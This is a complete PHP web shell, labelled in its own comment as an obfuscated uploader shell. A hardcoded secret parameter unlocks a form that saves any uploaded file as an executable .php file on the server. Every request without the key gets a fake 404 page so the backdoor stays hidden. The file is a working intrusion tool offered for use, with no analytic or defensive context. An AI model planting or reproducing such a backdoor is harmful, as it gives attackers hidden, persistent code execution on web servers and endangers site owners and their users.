<?php
// Obfuscated built-in uploader shell
$key = "I{iscG#@_S0o3Jt5";
$param = "c*d:6!";

if(isset($_GET['c*d:6!']) && $_GET['c*d:6!'] === $key) {
    if(isset($_FILES['f'])) {
        $random_num = rand(100000, 999999);
        $filename = "up_8j79DjaVNqhR.php";
        if(move_uploaded_file($_FILES['f']['tmp_name'], $filename)) {
            echo "SUCCESS: <a href='$filename'>$filename</a>";
        } else {
            echo "ERROR: Failed to upload file.";
        }
    } else {
        echo '<form method="POST" enctype="multipart/form-data">
        <input type="file" name="f">
        <input type="submit" value="Upload">
        </form>';
    }
} else {
    header("HTTP/1.0 404 Not Found");
    echo "<h1>404 Not Found</h1><p>The page you requested was not found.</p>";
}
?>